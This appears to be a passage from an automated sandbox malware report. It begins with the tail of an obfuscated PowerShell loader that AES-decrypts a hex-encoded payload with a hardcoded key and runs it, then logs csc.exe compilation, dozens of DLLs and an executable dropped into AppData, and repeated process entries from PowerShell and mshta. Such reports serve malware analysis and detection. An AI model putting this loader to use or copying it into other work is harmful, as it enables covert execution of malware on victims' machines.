2DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22EDEF36672015D59B8682037DEDBF664F5134470');$vDlAX=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RFpfE('5A4C72435A7854455476796A794D454C')),[byte[]]::new(16)).TransformFinalBlock($CLkAU,0,$CLkAU.Length)); & $vDlAX.Substring(0,3) $vDlAX.Substring(215)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mv44vish.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mv44vish.cmdline"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\MOG_Framework_2.2.14_vc10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\libmp4_plugin.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\mv44vish.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.AspNetCore.Razor.Language.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WRServices.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\msvcp80.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mc_dec_mp2v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.TestPlatform.VsTestConsole.TranslationLayer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.Setup.Download.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WzWXFmfire64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mc_mfimport.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mlib_image.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.Azure.Management.Storage.Fluent.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\_Fs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.VisualC.Utilities.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.NET.Sdk.Publish.Tasks.dll	Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
